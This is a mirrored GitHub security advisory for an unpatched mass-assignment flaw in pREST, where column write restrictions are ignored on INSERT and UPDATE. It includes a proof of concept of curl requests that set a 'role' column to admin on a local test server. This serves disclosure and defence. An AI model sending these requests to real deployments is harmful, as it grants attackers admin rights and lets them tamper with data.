GHSA-H25Q-9RMJ-646H
Write-field permissions are never enforced on INSERT/UPDATE (mass assignment → privilege escalation)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-H25Q-9RMJ-646H divulgada · CVSS 7.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
In `access.restrict = true` mode, pREST enforces the per-table column allowlist
(`[[access.tables]] fields = [...]`) only for reads. INSERT/UPDATE never consult it, so a
caller whose config restricts which columns they may write can set any column —
including privilege columns the operator deliberately excluded (e.g. `role`, `is_admin`).
This crosses a user→admin boundary via mass assignment.
Details
`FieldsPermissions` (the column-allowlist gate) is only ever called with `op="read"`:
controllers/crud.go:67 h.perms.FieldsPermissions(r, database, schema, table, "read", userName) // Select
controllers/mcp.go:807 ... "read", userName // MCP readThe write handlers build SQL straight from the request body and never call it:
controllers/crud.go:211 names, placeholders, values, err := h.builder.ParseInsertRequest(r) // every body key accepted
(Update path) h.builder.SetByRequest(r, ...) // every body key accepted`ParseInsertRequest` (adapters/postgres/postgres.go:847) validates each key only as a SQL
identifier (`ident.IsValid`), never against the configured `fields`.
The capability exists and is tested in isolation, which shows the restriction is intended:
`fieldsByPermission` is op-aware and returns the restricted `Fields` list for the write op
(adapters/postgres/postgres.go:1862), and a unit test exercises exactly this —
`postgres_test.go:1522`: `FieldsPermissions(req, "", "public", "no_user_write_table", "write", "foo_read")`
with `no_user_write_table` configured `permissions=["write"], fields=["name"]`. The control
is built, configured and tested, but never wired into the write request path. The shipped
sample config (`samples/prest.sample.toml`) also documents `[access]` as restricting
"which schemas/tables/columns are exposed" with `fields` alongside `permissions=["read","write","delete"]`.
Proof of concept
Local, loopback-only (`127.0.0.1:3000`), disposable data. Config:
[access]
restrict = true
[[access.tables]]
name = "profiles"
permissions = ["read", "write"]
fields = ["name"] # intent: this caller may read/write only the "name" columnSchema: `profiles(id serial primary key, name text, role text not null default 'user')`.
# control — read IS field-restricted to name:
$ curl -s http://127.0.0.1:3000/prest/public/profiles
[{"name":"alice"},{"name":"bob"}]
# attack — writes ignore the field restriction:
$ curl -s -X POST http://127.0.0.1:3000/prest/public/profiles -d '{"name":"x","role":"admin"}'
{"id":3,"name":"x","role":"admin"}
$ curl -s -X PUT "http://127.0.0.1:3000/prest/public/profiles?name=\$eq.alice" -d '{"role":"superadmin"}'
{"rows_affected":1}
# out-of-band DB check — privilege column written despite fields=["name"]:
$ docker exec cvd_pg psql -U postgres -d prest -c "SELECT id,name,role FROM profiles ORDER BY id;"
id | name | role
----+-------+------------
1 | alice | superadmin
3 | x | adminReproducible from a clean state across repeated runs.
Impact
CWE-915 (Mass Assignment) / CWE-863 (Incorrect Authorization). Affects any deployment using
`access.restrict=true` with a `fields` allowlist to limit writable columns. A caller holding
only a field-restricted write grant (or, when `auth.enabled=false`, any caller with a
table-level write grant) can set security-relevant columns the operator intended to protect —
self-promotion to admin, tenant takeover, or tampering with any non-allowlisted column.
Reads of the same table remain correctly field-filtered, demonstrating the intent and the
asymmetry. Boundary crossed: user → admin.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/prest/prest |
Sin parche | — | — | v1.5.5 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/prest/prest/security/advisories/GHSA-h25q-9rmj-646hLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
